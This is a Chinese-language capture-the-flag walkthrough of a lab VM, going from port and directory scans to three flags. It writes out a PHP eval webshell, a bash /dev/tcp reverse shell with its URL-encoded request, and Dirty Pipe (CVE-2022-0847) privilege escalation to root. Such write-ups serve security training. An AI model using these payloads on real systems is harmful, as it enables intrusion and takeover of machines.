一、 信息搜集
1、端口扫描
sudo nmap -O –osscan-limit 192.168.0.0/24



访问80端口得到

2、 目录扫描
python .\\dirsearch.py -u http://192.168.0.105/

得到
robots.txt

graffiti.php

graffiti.txt

二、 漏洞利用
1、漏洞分析
发现graffiti.php输入框输入的内容会写入graffiti.txt

测试XSS
<script>alert(123);</script>

有弹框,表示输入的内容被当做命令执行
2、抓包分析
写入一句话木马
<?php eval(@$_POST[cmd]); ?>

访问
http://192.168.0.105/shell.php
文件存在
3、蚁剑连接


成功进入后台
在根目录下找到flag.txt
4、flag1

提示访问/.cypher-neo.png

wget下载

binwalk分析
binwalk .cypher-neo.png

尝试了,没有解出图片中的密码

在这个图片中还有一个密码
先直接提权
5、反弹shell
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.0.112 /9999 0>&1'"); ?>
特殊字符用url编码
message=<%3fphp+exec("/bin/bash+-c+'bash+-i+>%26+/dev/tcp/192.168.0.112/9999+0>%261'")%3b+%3f>&file=webshell3.php

访问webshell3.php 监听成功
http://192.168.0.105/webshell3.php

uname -a
Whoami

发现linux版本为5.10可以使用CVE-2022-0847
下载使用蚁剑上传(已放置本文章附件)


三、提权
1、flag2
cd /var/tmp
ls
chmod +x Dirty-Pipe.sh
sed -i 's/\\r$//' Dirty-Pipe.sh
//这个命令是因为Dirty-Pipe.sh脚本有Windows的换行符(CRLF)问题,在Linux中,需要先修复换行符。
bash Dirty-Pipe.sh
/bin/bash -i
//root用户使用shell

另外在/var/nginx/html下有个.htpasswd文件

得到用户名cypher的md5加密的值
回想起flag1的提示,推断这个密码就是要找的密码

因为在root可以直接切换用户,不需要密码所以
直接切换cypher用户,看看有没有什么发现

2、flag3
直接cd到cypher的用户目录,得到另一个flag

四、结语
结束,但是有几个问题没解决,flag1提示的那张图片,还隐藏着什么信息;22,81端口有什么内容,本人只找到3个flag,至于有没有其他的,欢迎懂得的在评论区共同探讨!